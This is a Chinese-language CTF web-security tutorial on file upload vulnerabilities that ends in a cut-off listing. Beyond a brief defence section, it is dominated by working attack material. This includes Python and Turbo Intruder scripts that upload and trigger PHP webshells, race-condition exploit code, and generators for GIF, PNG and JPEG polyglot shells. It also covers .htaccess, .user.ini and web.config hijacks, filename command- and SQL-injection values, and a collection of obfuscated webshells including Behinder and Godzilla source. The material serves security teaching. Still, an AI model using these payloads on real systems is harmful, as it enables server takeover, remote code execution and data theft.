P04 文件上传漏洞

2022-03-10 CTF-WEB 詹英

梳理文件上传漏洞的原理、检测逻辑、绕过技巧、利用方式与防御方案。

一、漏洞概述

1.1 定义

文件上传漏洞是指 Web 应用程序在处理用户上传的文件时,未对文件类型、内容、扩展名进行严格校验,导致攻击者能够上传可执行的恶意脚本文件(WebShell),进而实现任意代码执行(RCE)、服务器控制等目的。

1.2 危害等级与后果

危害级别: 🔴 严重(CVSS 评分通常 ≥ 9.0)

危害 说明
WebShell 植入 上传 PHP/ASP/JSP 脚本,获得服务器交互控制权
任意代码执行 通过 WebShell 执行系统命令,读写任意文件
服务器控制 反弹 Shell,获得持久化访问
内网渗透 以 WebShell 为跳板,横向移动到内网
数据窃取 读取数据库配置、用户数据、源代码
拒绝服务 上传超大文件消耗存储空间/磁盘 IO
XSS 触发 上传含恶意脚本的 SVG/HTML 文件
钓鱼攻击 上传伪装的可执行文件用于社工

1.3 漏洞触发的必要条件

条件一:服务器允许文件上传
条件二:上传的文件可被服务器解析执行(PHP/ASP/JSP 等)
条件三:攻击者知道(或能猜到)上传文件的 URL 路径

三个条件同时满足 → 成功利用文件上传 RCE

1.4 常见上传功能场景

用户头像上传
文章/文档附件上传
图片/媒体素材上传
报表/数据文件导入(CSV/Excel/PDF)
代码仓库(Git/SVN)文件提交
在线文件管理器
邮件附件上传
主题/插件/模板上传(CMS)

二、形成原因与代码分析

2.1 根本原因

用户上传文件
     ↓
服务端仅依赖不可靠的客户端数据(扩展名/MIME)进行验证
或服务端检测逻辑存在缺陷(黑名单不完整、绕过方式多样)
     ↓
恶意文件成功落地到 Web 可访问目录
     ↓
攻击者访问上传文件的 URL → 服务器解析执行 → RCE

2.2 典型漏洞代码

无任何验证(最危险)

<?php
// ❌ 完全没有任何安全检查
move_uploaded_file(
    $_FILES['file']['tmp_name'],
    'uploads/' . $_FILES['file']['name']
);
echo "Upload success: uploads/" . $_FILES['file']['name'];

仅前端 JS 验证

<!-- ❌ 仅依赖前端 JS 验证,可轻易绕过 -->
<script>
function checkFile() {
    var file = document.getElementById('file').value;
    var ext = file.substring(file.lastIndexOf('.') + 1).toLowerCase();
    if (ext !== 'jpg' && ext !== 'png' && ext !== 'gif') {
        alert('Only image files allowed!');
        return false;
    }
    return true;
}
</script>
<form onsubmit="return checkFile()">
    <input type="file" id="file" name="file">
    <input type="submit" value="Upload">
</form>

黑名单过滤不完整

<?php
// ❌ 黑名单不完整,存在大量绕过手法
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$blacklist = ['php', 'asp', 'aspx', 'jsp'];

if (in_array(strtolower($ext), $blacklist)) {
    die('File type not allowed!');
}

move_uploaded_file(
    $_FILES['file']['tmp_name'],
    'uploads/' . $_FILES['file']['name']
);

仅验证 Content-Type

<?php
// ❌ 仅验证 Content-Type,可被 Burp 修改
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];

if (!in_array($_FILES['file']['type'], $allowed_types)) {
    die('Only image files allowed!');
}

// Content-Type 完全由客户端控制,不可信!
move_uploaded_file(
    $_FILES['file']['tmp_name'],
    'uploads/' . $_FILES['file']['name']
);

安全代码示例(正确写法)

<?php
// ✅ 正确的安全校验

function safe_upload($file, $upload_dir) {
    // 1. 白名单扩展名
    $allowed_ext = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed_ext)) {
        return ['error' => 'File type not allowed'];
    }

    // 2. 验证文件头(魔术字节)
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime = $finfo->file($file['tmp_name']);
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
    if (!in_array($mime, $allowed_mimes)) {
        return ['error' => 'Invalid file content'];
    }

    // 3. 对图片进行二次渲染(彻底清除嵌入的代码)
    if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif'])) {
        $img = imagecreatefromstring(file_get_contents($file['tmp_name']));
        if (!$img) return ['error' => 'Invalid image'];
        // 重新保存图片(清除 EXIF 和附加数据)
        $new_name = bin2hex(random_bytes(16)) . '.' . $ext;
        imagejpeg($img, $upload_dir . $new_name, 85);
        imagedestroy($img);
    }

    // 4. 随机文件名(防止路径预测)
    $new_name = bin2hex(random_bytes(16)) . '.' . $ext;

    // 5. 存储到 Web 根目录外(或禁止执行)
    if (!move_uploaded_file($file['tmp_name'], $upload_dir . $new_name)) {
        return ['error' => 'Upload failed'];
    }

    return ['success' => true, 'filename' => $new_name];
}

三、文件上传检测机制

了解检测机制是构造绕过手法的基础,常见检测点如下:

上传请求
    │
    ├─① 前端 JS 检测(文件扩展名)           ← 最弱,直接 Burp 绕过
    │
    ├─② Content-Type 检测(MIME 类型)       ← 修改请求头绕过
    │
    ├─③ 文件扩展名检测
    │     ├─ 黑名单检测                       ← 变换大小写/等价扩展名绕过
    │     └─ 白名单检测                       ← 较难绕过,需配合其他手法
    │
    ├─④ 文件内容检测
    │     ├─ 魔术字节(文件头)检测           ← 添加合法文件头绕过
    │     ├─ 完整文件内容解析                 ← 图片马绕过
    │     └─ 防病毒/恶意代码扫描              ← 混淆/变形绕过
    │
    ├─⑤ 文件大小限制                         ← 压缩/精简 Payload
    │
    ├─⑥ 上传路径检测                         ← 路径穿越绕过
    │
    └─⑦ 二次渲染                             ← 特殊构造绕过

四、前端检测绕过

4.1 JavaScript 扩展名检测绕过

前端 JS 检测是最薄弱的防线,所有绕过方法都基于"不经过 JS 验证直接发送请求":

方法一:Burp Suite 拦截修改

操作步骤:
1. 选择一个合法的图片文件(如 image.jpg)
2. 提交表单,Burp 拦截请求
3. 在 Burp Proxy 中将文件名改为 shell.php
4. 同时将文件内容改为 PHP 代码
5. 放行请求 → 绕过前端检测

方法二:禁用 JavaScript

浏览器操作:
- Chrome: 设置 → 隐私与安全 → 网站设置 → JavaScript → 禁用
- 或安装 NoScript 插件
- 禁用后直接提交,前端 JS 验证失效

方法三:修改 HTML 表单

<!-- 原始表单(有 onsubmit 检测)-->
<input type="file" accept=".jpg,.png" id="file">

<!-- 浏览器 F12 → Elements 面板,直接修改:-->
<!-- 删除 accept 属性,删除 onsubmit 属性 -->
<input type="file" id="file">

<!-- 或在控制台执行 -->
document.getElementById('file').removeAttribute('accept');
document.querySelector('form').removeAttribute('onsubmit');

方法四:直接构造 HTTP 请求

import requests

# 完全绕过浏览器前端验证,直接发送请求
url = "http://target.com/upload.php"
files = {
    'file': ('shell.php', b'<?php system($_GET["cmd"]); ?>', 'image/jpeg')
}
r = requests.post(url, files=files)
print(r.text)

五、MIME 类型绕过

5.1 Content-Type 检测原理

POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitBoundary

------WebKitBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php          ← 服务端检测这里

<?php system($_GET["cmd"]); ?>
------WebKitBoundary--

5.2 修改 Content-Type 绕过

操作步骤(Burp Suite):
1. 上传 shell.php 文件
2. 拦截请求,找到文件部分的 Content-Type
3. 将 Content-Type: application/x-php
   改为   Content-Type: image/jpeg
                    或   image/png
                    或   image/gif
4. 放行请求
# Python 脚本直接指定 MIME 类型
import requests

url = "http://target.com/upload.php"
files = {
    # (filename, filedata, content_type)
    'file': ('shell.php', b'<?php system($_GET["cmd"]); ?>', 'image/jpeg')
}
cookies = {'PHPSESSID': 'your_session_id'}
r = requests.post(url, files=files, cookies=cookies)
print(r.text)

5.3 常用伪装 MIME 类型

伪装为 Content-Type 值
JPEG 图片 image/jpeg
PNG 图片 image/png
GIF 图片 image/gif
WebP 图片 image/webp
PDF 文件 application/pdf
Word 文档 application/msword
普通文本 text/plain

六、文件扩展名绕过

6.1 黑名单绕过——PHP 等价扩展名

当服务端使用黑名单过滤 .php 时,以下扩展名在 Apache/Nginx 中同样会被解析为 PHP:

# Apache 默认可解析的 PHP 扩展名(取决于配置)
.php
.php3
.php4
.php5
.php7
.php8
.phtml      # PHP HTML 混合文件
.pht        # PHP 模板
.phps       # PHP 源码(某些配置下可执行)
.phar       # PHP 归档
.pgif       # 某些老版本
.shtml      # SSI(Server Side Includes)
.shtm

# 不常见但可能有效
.php.bak    # 某些配置
.php~
.php_bak
# 测试策略:逐一尝试以下扩展名
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.pht
shell.phar
shell.shtml

6.2 大小写绕过

# 服务端过滤时未转小写,或 Windows 文件系统不区分大小写

shell.PHP          # 大写
shell.PhP          # 混合大小写
shell.pHp          # 混合大小写
shell.PHP5         # 大写数字扩展名
shell.Phtml        # 首字母大写
shell.PHTML        # 全大写

6.3 双扩展名绕过

# 利用服务端 pathinfo 解析方式的差异
shell.jpg.php       # 某些配置下以最后一个扩展名为准
shell.php.jpg       # 某些 Apache 配置(从右到左找可识别扩展名)
shell.php.xxxxx     # 最后扩展名未知,Apache 可能回退到 .php

# Apache 的 AddHandler 配置漏洞
# 若配置了 AddHandler application/x-httpd-php .php
# 则文件名中包含 .php 即被解析,无论其后还有什么扩展名
shell.php.jpg       # 被解析为 PHP(因为包含 .php)
shell.php.xxx       # 同上

# 测试用扩展名
shell.php.jpg
shell.php.png
shell.php.gif
shell.php.doc
shell.php.xxx

6.4 特殊字符绕过

# 空字节截断(PHP < 5.3.4)
shell.php%00.jpg    → 存储为 shell.php(%00 截断 .jpg)
shell.php\0.jpg     → 同上

# Windows 文件系统特性
shell.php.          # 末尾点号,Windows 会自动去除
shell.php           # 末尾空格,Windows 会自动去除(URL 中用 %20)
shell.php::$DATA    # NTFS 交换数据流,Windows 存储为 shell.php
shell.php:php       # ADS 流
shell.php....       # 多个末尾点号

# 分号截断(某些中间件)
shell.asp;.jpg      # IIS 6.0 特性:; 之后内容忽略
shell.php;.jpg      # 部分配置

# 斜杠截断
shell.php/          # 某些场景
shell.php/.         # 某些场景

6.5 白名单绕过思路

当使用白名单(只允许 jpg/png/gif 等)时,直接改扩展名无效,需配合其他手法:

白名单场景的绕过组合:
  ├── 配合 .htaccess 上传(修改解析规则)
  ├── 配合 .user.ini 上传(PHP-FPM 场景)
  ├── 配合 Web 服务器解析漏洞
  ├── 文件包含漏洞(上传图片马 + LFI)
  ├── 条件竞争(上传后检测前包含)
  └── 二次渲染绕过(嵌入特殊位置)

6.6 IIS 解析漏洞

# IIS 6.0 目录解析漏洞
# 若目录名包含 .asp,目录下所有文件均以 ASP 解析
/upload/shell.asp/shell.jpg   → shell.jpg 被当作 ASP 执行

# IIS 6.0 分号截断漏洞
shell.asp;.jpg    → 存储为 shell.asp;.jpg,但以 ASP 解析

# IIS 7.0/7.5 PHP FastCGI 解析漏洞(同 Nginx)
shell.jpg/.php    → shell.jpg 被当作 PHP 执行
shell.jpg%00.php  → 同上(某些版本)

6.7 Nginx 解析漏洞

# Nginx + PHP-FPM 解析漏洞(cgi.fix_pathinfo = 1)
# 在文件 URL 后追加 /.php,触发 PHP 解析

http://target.com/uploads/shell.jpg/.php
http://target.com/uploads/image.png/.php
http://target.com/uploads/any_file/.php

# 原理:PHP-FPM 的 PATH_INFO 特性
# 若 cgi.fix_pathinfo=1,/shell.jpg/.php 会尝试执行 shell.jpg

# 空字节漏洞(老版本 Nginx)
http://target.com/uploads/shell.jpg%00.php

6.8 Apache 解析漏洞

# Apache 多后缀解析(从右到左识别)
# 若最后扩展名不被识别,继续识别前一个
shell.php.xxx    → .xxx 不识别 → 解析 .php ✅
shell.php.rar    → .rar 可能不识别 → 解析 .php ✅
shell.php.7z     → .7z 不识别 → 解析 .php ✅

# 确认 Apache 不识别的扩展名(服务端无 MIME 映射)
.xxx .aaa .bbb .qwerty 等自定义扩展名

# Apache httpd 2.4.x CVE-2017-15715(换行符绕过)
# 在扩展名后添加换行符
shell.php%0A     → 某些版本 Apache 解析为 PHP

七、文件内容检测绕过

7.1 魔术字节(文件头)检测原理

每种文件类型都有特定的文件头(Magic Bytes),服务端通过读取文件前几个字节来判断真实类型:

文件类型 魔术字节(Hex) ASCII 表示
JPEG FF D8 FF ÿØÿ
PNG 89 50 4E 47 0D 0A 1A 0A \x89PNG\r\n\x1a\n
GIF 47 49 46 38 37 61 / ...39 61 GIF87a / GIF89a
PDF 25 50 44 46 %PDF
ZIP 50 4B 03 04 PK\x03\x04
BMP 42 4D BM
WebP 52 49 46 46...57 45 42 50 RIFF....WEBP

7.2 添加文件头绕过

// 在 PHP WebShell 前添加合法图片文件头

// GIF 文件头(最简单,6字节)
GIF89a<?php system($_GET["cmd"]); ?>

// JPEG 文件头
\xFF\xD8\xFF<?php system($_GET["cmd"]); ?>

// PNG 文件头
\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>
# Python 构造图片头 + PHP 代码
import struct

def make_shell(shell_code, file_type='gif'):
    headers = {
        'gif':  b'GIF89a',
        'jpg':  b'\xff\xd8\xff\xe0\x00\x10JFIF\x00',
        'png':  b'\x89PNG\r\n\x1a\n',
        'bmp':  b'BM',
        'pdf':  b'%PDF-1.4\n',
    }
    header = headers.get(file_type, b'GIF89a')
    return header + shell_code.encode()

shell = make_shell('<?php system($_GET["cmd"]); ?>', 'gif')
with open('shell.gif.php', 'wb') as f:
    f.write(shell)

print(f"Generated shell.gif.php ({len(shell)} bytes)")

7.3 getimagesize() 绕过

// 目标检测代码
$info = getimagesize($_FILES['file']['tmp_name']);
if ($info === false) die('Not a valid image');
// 绕过:构造能通过 getimagesize() 检测的恶意文件

// GIF 格式(最简单,getimagesize 只检查前几字节)
// 文件内容:
GIF89a
<?php system($_GET["cmd"]); ?>

// PHP 代码不影响 getimagesize() 对 GIF 的识别

// 完整的最小合法 GIF + PHP 代码
// 可以用 Python 生成:
python3 -c "
data = b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;'
php = b'<?php system(\$_GET[\"cmd\"]); ?>'
print(data + php)
" > shell.gif

7.4 imagecreatefromjpeg() / imagecreatefrompng() 绕过

当服务端对图片进行二次解析时,需要构造真实的图片格式:

// 目标检测代码(更严格)
$img = imagecreatefromjpeg($_FILES['file']['tmp_name']);
if (!$img) die('Invalid JPEG');
绕过思路:
使用真实图片,将 PHP 代码嵌入 EXIF 元数据中

步骤:
1. 准备一张正常 JPEG 图片
2. 使用 exiftool 将 PHP 代码写入 Comment 字段
   exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
3. imagecreatefromjpeg() 解析图片结构,EXIF 数据被保留
4. 上传成功,通过 LFI 包含,或图片直接被 include

# exiftool 操作
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
exiftool -Artist='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg

# 验证 EXIF 是否写入
exiftool shell.jpg | grep Comment

7.5 二进制位置嵌入

# 在 JPEG 图片的特定二进制位置嵌入 PHP 代码
# 某些位置即使经过二次渲染也能保留

def inject_php_in_jpeg(jpeg_path, php_code, output_path):
    with open(jpeg_path, 'rb') as f:
        data = bytearray(f.read())

    php_bytes = php_code.encode('utf-8')

    # 在 APP0 标记(FFE0)之后注入
    # 找到合适的注入位置
    inject_pos = data.find(b'\xff\xe0')
    if inject_pos == -1:
        inject_pos = 20  # 默认位置

    # 在注释标记(FFFE)后插入
    comment_marker = b'\xff\xfe'
    length = len(php_bytes) + 2
    comment_block = comment_marker + length.to_bytes(2, 'big') + php_bytes

    data = data[:inject_pos] + comment_block + data[inject_pos:]

    with open(output_path, 'wb') as f:
        f.write(bytes(data))

inject_php_in_jpeg('real.jpg', '<?php system($_GET["cmd"]); ?>', 'shell.jpg')

八、路径与文件名绕过

8.1 路径穿越写文件

# 若服务端将文件名直接拼接到路径中
filename=../shell.php
filename=../../shell.php
filename=../../../var/www/html/shell.php

# URL 编码绕过过滤
filename=..%2fshell.php
filename=..%252fshell.php   (双重编码)
filename=%2e%2e%2fshell.php

# 绝对路径写入(某些场景)
filename=/var/www/html/shell.php
filename=C:\inetpub\wwwroot\shell.php

8.2 文件名注入

# 命令注入(文件名作为参数传给 Shell 命令)
filename=shell.php;id
filename=shell.php`id`
filename=shell.php$(id)
filename=|id#.php

# SQL 注入(文件名插入数据库)
filename=' UNION SELECT 1-- -.php
filename='; DROP TABLE files;-- -.php

# XSS(文件名显示在页面)
filename=<script>alert(1)</script>.jpg
filename="><img src=x onerror=alert(1)>.jpg

8.3 覆盖配置文件

# 上传 .htaccess 覆盖目录配置(Apache)
# 详见第十一章

# 上传 web.config 覆盖 IIS 配置
filename=web.config

# 上传 .user.ini 覆盖 PHP 配置
filename=.user.ini

# 上传到特殊目录
filename=../index.php    → 覆盖 Web 根目录下的 index.php
filename=.htaccess       → 修改 Apache 目录配置

九、条件竞争绕过

9.1 原理

正常上传流程(有安全检测):
  ① 接收文件 → 保存临时文件
  ② 检测文件类型/内容(白名单/黑名单/内容检测)
  ③ 通过检测 → 移动到目标目录
  ④ 不通过 → 删除临时文件

条件竞争攻击:
  利用 ① 和 ④ 之间的极短时间窗口
  在文件被删除之前,发送另一个请求访问/包含该文件

攻击时序:
  Thread A: 上传 → 临时保存 shell.php → [存在窗口] → 检测 → 删除
  Thread B:                                  ↑访问 shell.php → RCE ✅

9.2 竞争条件攻击脚本

import requests
import threading
import time

TARGET_UPLOAD = "http://target.com/upload.php"
TARGET_SHELL  = "http://target.com/uploads/shell.php"

SHELL_CONTENT = b"<?php system($_GET['cmd']); ?>"
SHELL_PAYLOAD = b"GIF89a" + SHELL_CONTENT  # 伪装成 GIF

CMD = "id"
SUCCESS = False

session = requests.Session()
# 若需要登录
# session.post("http://target.com/login", data={"user":"admin","pass":"admin"})

def upload_shell():
    """持续上传 Shell 文件"""
    while not SUCCESS:
        try:
            files = {'file': ('shell.php', SHELL_PAYLOAD, 'image/gif')}
            session.post(TARGET_UPLOAD, files=files, timeout=5)
        except Exception:
            pass

def access_shell():
    """持续尝试访问并执行 Shell"""
    global SUCCESS
    while not SUCCESS:
        try:
            r = session.get(TARGET_SHELL, params={'cmd': CMD}, timeout=2)
            if r.status_code == 200 and 'uid=' in r.text:
                print(f"\n[+] Race Condition Win!")
                print(f"[+] Output: {r.text.strip()}")
                SUCCESS = True
        except Exception:
            pass

print("[*] Starting race condition attack...")
print(f"[*] Upload URL: {TARGET_UPLOAD}")
print(f"[*] Shell URL:  {TARGET_SHELL}")

# 启动多个上传线程和访问线程
threads = []
for _ in range(5):   # 5 个上传线程
    t = threading.Thread(target=upload_shell)
    t.daemon = True
    threads.append(t)

for _ in range(10):  # 10 个访问线程
    t = threading.Thread(target=access_shell)
    t.daemon = True
    threads.append(t)

for t in threads:
    t.start()

# 等待成功或超时
timeout = 30
start = time.time()
while not SUCCESS and time.time() - start < timeout:
    time.sleep(0.5)

if not SUCCESS:
    print("[-] Race condition attack timed out")

9.3 使用 Burp Turbo Intruder

# Burp Suite Turbo Intruder 脚本(精确并发)
# 在 Turbo Intruder 中粘贴以下脚本

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=30,
        requestsPerConnection=100,
        pipeline=True
    )

    # 上传请求
    upload_req = '''POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/gif

GIF89a<?php system($_GET['cmd']); ?>
------Boundary--'''

    # 访问请求
    access_req = '''GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target.com

'''

    # 交替发送上传和访问请求
    for i in range(100):
        engine.queue(upload_req, gate='race')
    for i in range(100):
        engine.queue(access_req, gate='race')

    engine.openGate('race')

def handleResponse(req, interesting):
    if 'uid=' in req.response:
        table.add(req)

十、二次渲染绕过

10.1 原理

二次渲染流程:
  上传图片 → 服务端重新解码图片 → 使用 GD/Imagick 重新生成 → 保存新文件

目的:清除图片中嵌入的恶意代码

绕过思路:
  找到图片重新生成后"不被改变"的数据区域
  将 PHP 代码嵌入该区域

10.2 GIF 二次渲染绕过

GIF 文件的注释块在二次渲染后通常被保留:

import struct

def create_gif_with_php(php_code, output_path):
    """
    构造一个最小化 GIF,将 PHP 代码嵌入
    在二次渲染后仍能保留的位置
    """
    # GIF 头部
    header = b'GIF89a'
    # 逻辑屏幕描述符(1x1 像素)
    logical_screen = struct.pack('<HHBBB', 1, 1, 0x80, 0, 0)
    # 全局颜色表(两色:黑白)
    color_table = b'\xff\xff\xff\x00\x00\x00'

    # 注释扩展块(PHP 代码放这里)
    php_bytes = php_code.encode('latin-1')
    comment_ext = b'\x21\xfe'  # 注释扩展标识
    # 按每块最多 255 字节分割
    comment_data = b''
    for i in range(0, len(php_bytes), 255):
        chunk = php_bytes[i:i+255]
        comment_data += bytes([len(chunk)]) + chunk
    comment_data += b'\x00'  # 块终止符

    # 图像数据(最小 1x1 像素)
    image_desc = b'\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00'
    image_data = b'\x02\x02\x4c\x01\x00'

    # GIF 尾部
    trailer = b'\x3b'

    gif = (header + logical_screen + color_table +
           comment_ext + comment_data +
           image_desc + image_data + trailer)

    with open(output_path, 'wb') as f:
        f.write(gif)

    print(f"[+] Created {output_path} ({len(gif)} bytes)")

create_gif_with_php('<?php system($_GET["cmd"]); ?>', 'shell_render.gif')

10.3 PNG 二次渲染绕过

PNG 的 tEXt / zTXt 块在某些实现中会被保留:

import struct, zlib

def create_png_with_php(php_code, output_path):
    def make_chunk(chunk_type, data):
        """构造 PNG 数据块"""
        chunk = chunk_type + data
        crc = struct.pack('>I', zlib.crc32(chunk) & 0xffffffff)
        return struct.pack('>I', len(data)) + chunk + crc

    # PNG 签名
    signature = b'\x89PNG\r\n\x1a\n'

    # IHDR 块(1x1 像素,8位RGB)
    ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
    ihdr = make_chunk(b'IHDR', ihdr_data)

    # tEXt 块(文本元数据,嵌入 PHP 代码)
    # 格式:keyword\x00text
    text_data = b'Comment\x00' + php_code.encode('latin-1')
    text_chunk = make_chunk(b'tEXt', text_data)

    # IDAT 块(最小图像数据)
    raw_data = b'\x00\xff\xff\xff'  # 1x1 白色像素(带过滤字节0)
    compressed = zlib.compress(raw_data)
    idat = make_chunk(b'IDAT', compressed)

    # IEND 块
    iend = make_chunk(b'IEND', b'')

    png = signature + ihdr + text_chunk + idat + iend

    with open(output_path, 'wb') as f:
        f.write(png)

    print(f"[+] Created {output_path} ({len(png)} bytes)")

create_png_with_php('<?php system($_GET["cmd"]); ?>', 'shell_render.png')

10.4 JPEG 二次渲染绕过

JPEG 中的 COM(注释)和 APP1(EXIF)段有时能幸存:

# 方法一:exiftool 写入多个字段
exiftool \
  -Comment='<?php system($_GET["cmd"]); ?>' \
  -Artist='<?php system($_GET["cmd"]); ?>' \
  -Copyright='<?php system($_GET["cmd"]); ?>' \
  -Description='<?php system($_GET["cmd"]); ?>' \
  real.jpg -o shell.jpg

# 验证写入
strings shell.jpg | grep php

# 方法二:通过 Photoshop/GIMP 手动添加元数据
# 在 PS 中:文件 → 文件简介 → 说明 → 写入 PHP 代码

# 方法三:寻找二次渲染后的稳定位置(需多次测试)
# 上传 → 下载渲染后的图片 → 用 hexdump 对比前后差异
# 找到不变的区域 → 写入 PHP 代码

十一、配置文件上传利用

11.1 .htaccess 上传(Apache)

.htaccess 是 Apache 的目录级配置文件,若能上传到目标目录,可修改该目录的 PHP 解析规则。

基础利用

# 上传内容(.htaccess 文件)

# 方法一:将所有文件当作 PHP 执行
SetHandler application/x-httpd-php

# 方法二:将特定扩展名文件当作 PHP 执行
AddType application/x-httpd-php .jpg .png .gif .xxx
AddHandler application/x-httpd-php .jpg

# 方法三:将任意扩展名文件当作 PHP 执行
<FilesMatch ".*">
    SetHandler application/x-httpd-php
</FilesMatch>

# 方法四:只针对特定文件名
<Files "shell.jpg">
    SetHandler application/x-httpd-php
</Files>

# 方法五:正则匹配
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>

利用步骤

Step 1: 上传 .htaccess 文件(内容如上)
        注意:.htaccess 本身扩展名为空,MIME 设为 text/plain

Step 2: 上传 shell.jpg(内容为 PHP 代码)
        <?php system($_GET["cmd"]); ?>

Step 3: 访问 http://target.com/uploads/shell.jpg?cmd=id
        → Apache 根据 .htaccess 规则将 .jpg 解析为 PHP → RCE ✅
import requests

def upload_htaccess_shell(base_url, upload_endpoint, upload_dir):
    """上传 .htaccess + shell.jpg 组合"""
    s = requests.Session()

    # Step 1: 上传 .htaccess
    htaccess_content = b'AddType application/x-httpd-php .jpg'
    r1 = s.post(base_url + upload_endpoint,
                files={'file': ('.htaccess', htaccess_content, 'text/plain')})
    print(f"[1] .htaccess upload: {r1.status_code}")

    # Step 2: 上传 shell.jpg
    shell_content = b'<?php system($_GET["cmd"]); ?>'
    r2 = s.post(base_url + upload_endpoint,
                files={'file': ('shell.jpg', shell_content, 'image/jpeg')})
    print(f"[2] shell.jpg upload: {r2.status_code}")

    # Step 3: 触发 RCE
    r3 = s.get(base_url + upload_dir + 'shell.jpg', params={'cmd': 'id'})
    print(f"[3] RCE result: {r3.text[:200]}")

upload_htaccess_shell(
    "http://target.com",
    "/upload.php",
    "/uploads/"
)

11.2 .user.ini 上传(PHP-FPM)

.user.ini 是 PHP-FPM 的用户级配置文件,可以修改 PHP 配置,类似 .htaccess 的作用。

# .user.ini 内容
# auto_prepend_file:在每个 PHP 文件执行前自动包含指定文件
auto_prepend_file=/var/www/html/uploads/shell.jpg

# auto_append_file:在每个 PHP 文件执行后自动包含
auto_append_file=/var/www/html/uploads/shell.jpg

# 若不知道绝对路径,可用相对路径
auto_prepend_file=shell.jpg
利用步骤:
Step 1: 上传 .user.ini
        内容:auto_prepend_file=shell.jpg
        目标目录:需要与目标 PHP 文件在同一目录

Step 2: 上传 shell.jpg
        内容:<?php system($_GET["cmd"]); ?>

Step 3: 访问该目录下的任意 PHP 文件
        http://target.com/uploads/index.php?cmd=id
        → PHP-FPM 自动 prepend shell.jpg → RCE ✅

注意事项:
- .user.ini 有缓存,默认每 300 秒(5分钟)重新读取一次
- 需要服务器使用 PHP-FPM(而非 Apache mod_php)
- 必须上传到有 PHP 文件的目录

11.3 web.config 上传(IIS)

<!-- IIS web.config 文件 -->
<!-- 将 .jpg 文件映射为 ASP 处理 -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
            <add name="web_config" path="*.jpg"
                 verb="GET,HEAD,POST,DEBUG"
                 modules="IsapiModule"
                 scriptProcessor="%windir%\system32\inetsrv\asp.dll"
                 resourceType="Unspecified" requireAccess="Script"
                 allowPathInfo="false" />
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".jpg" />
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>
<!-- 配合上传的 shell.jpg(ASP 内容)-->
<%
    Dim cmd
    cmd = Request.QueryString("cmd")
    Set oShell = Server.CreateObject("WScript.Shell")
    Set oExec = oShell.Exec(cmd)
    Response.Write(oExec.StdOut.ReadAll())
%>

十二、各语言 WebShell 大全

12.1 PHP WebShell

<?php
// ── 一句话 WebShell(最简)──
<?php @eval($_POST['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo `$_GET['cmd']`; ?>

// ── 带伪装的一句话 ──
GIF89a
<?php @eval($_POST['x']); ?>

// ── 变形混淆(绕过简单检测)──
<?php $f='sys'.'tem'; $f($_GET['c']); ?>
<?php $f=base64_decode('c3lzdGVt'); $f($_GET['c']); ?>
<?php @$_="s"."s"."e"."r"."t"; @$_("ev"."al"."(\$_POST[x])"); ?>

// ── 无字母数字(PHP 高阶)──
<?php
$_=('%01'^'`').('%13'^'`').('%19'^'`').('%05'^'`').('%12'^'`').('%05'^'`');  // assert
$__='_'.('%0f'^'`').('%2f'^'`').('%0e'^'`').('%27'^'`');                     // _POST
$___=$$__;
$_($___[_]);
?>

// ── 功能完整的 WebShell ──
<?php
error_reporting(0);
session_start();
if(md5($_POST['pass']) !== '5f4dcc3b5aa765d61d8327deb882cf99') {
    die('<form method="POST"><input name="pass" type="password"><input type="submit"></form>');
}
function runcmd($c) {
    $r = '';
    $d = @popen($c . ' 2>&1', 'r');
    if($d) { while(!feof($d)) $r .= fread($d,4096); pclose($d); }
    return $r;
}
if(isset($_POST['cmd'])) echo '<pre>' . htmlspecialchars(runcmd($_POST['cmd'])) . '</pre>';
if(isset($_POST['dl'])) readfile($_POST['dl']);
?>
<form method="POST">
<input name="cmd" placeholder="command" style="width:400px">
<input type="submit" value="exec">
</form>

// ── 冰蝎(Behinder)WebShell ──
<?php
@error_reporting(0);
session_start();
$key = "e45e329feb5d925b";
$_SESSION['k'] = $key;
session_write_close();
$post = file_get_contents("php://input");
if(!extension_loaded('openssl')) {
    $t = "base64_" . "decode";
    $post = $t($post . "");
    for($i = 0; $i < strlen($post); $i++) {
        $post[$i] = $post[$i] ^ $key[$i+1 & 15];
    }
} else {
    $post = openssl_decrypt($post, "AES128", $key);
}
$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];
class C{public function __invoke($p){eval($p . "");}}
@call_user_func(new C(), $params);
?>

// ── 哥斯拉(Godzilla)WebShell ──
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
